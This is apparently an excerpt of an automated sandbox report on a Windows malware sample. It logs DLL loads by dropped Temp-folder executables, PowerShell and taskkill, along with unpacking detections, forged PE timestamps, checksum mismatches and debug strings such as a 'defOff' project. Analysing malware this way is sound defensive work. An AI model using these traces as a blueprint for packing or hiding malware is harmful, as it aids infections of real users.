Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2932224 > 1048576

Source: file.exe

Static PE information: Raw size of rjghzmyp is bigger than: 0x100000 < 0x2a0200

Source:	Binary string: my_library.pdbU source: f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmp, F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000003.2235956952.00000000047B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\Session\Session\obj\Debug\Session.pdb source: Session.exe, 00000009.00000000.2732827422.0000000000C52000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\Users\danie\source\repos\Session\Session\obj\Debug\Session.pdbnh source: Session.exe, 00000009.00000000.2732827422.0000000000C52000.00000002.00000001.01000000.0000000E.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Unpacked PE file: 3.2.F7UO7T49UKQNSZTWA8QFF.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;kzqschdp:EW;ptbfmmvg:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Unpacked PE file: 4.2.X42E6LZ0BD4W2FEYDTB0TDC.exe.e70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Unpacked PE file: 16.2.f324957d91.exe.a00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yhvanrkb:EW;owhwljin:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yhvanrkb:EW;owhwljin:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Unpacked PE file: 37.2.f324957d91.exe.a00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yhvanrkb:EW;owhwljin:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yhvanrkb:EW;owhwljin:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Unpacked PE file: 42.2.GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.460000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vcnwvfjn:EW;ailsjwpv:EW;.taggant:EW;

Source: Session[1].exe.8.dr

Static PE information: 0xA794DF11 [Tue Feb 4 02:31:45 2059 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Session.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xa048
Source: pdf.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x142801
Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2d5e3e should be: 0x2ceea6
Source: Session[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xa048
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: real checksum: 0x2b3ef7 should be: 0x2b38ce
Source: d816f1d41e.exe.8.dr	Static PE information: real checksum: 0x2d5e3e should be: 0x2ceea6
Source: f324957d91.exe.8.dr	Static PE information: real checksum: 0x2149bd should be: 0x20bfe1
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x2149bd should be: 0x20bfe1
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1d7362 should be: 0x1d3e21
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: real checksum: 0x2b3ef7 should be: 0x2b38ce
Source: file.exe	Static PE information: real checksum: 0x2d5e3e should be: 0x2ceea6
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: real checksum: 0x1d7362 should be: 0x1d3e21
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: real checksum: 0x1d7362 should be: 0x1d3e21
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
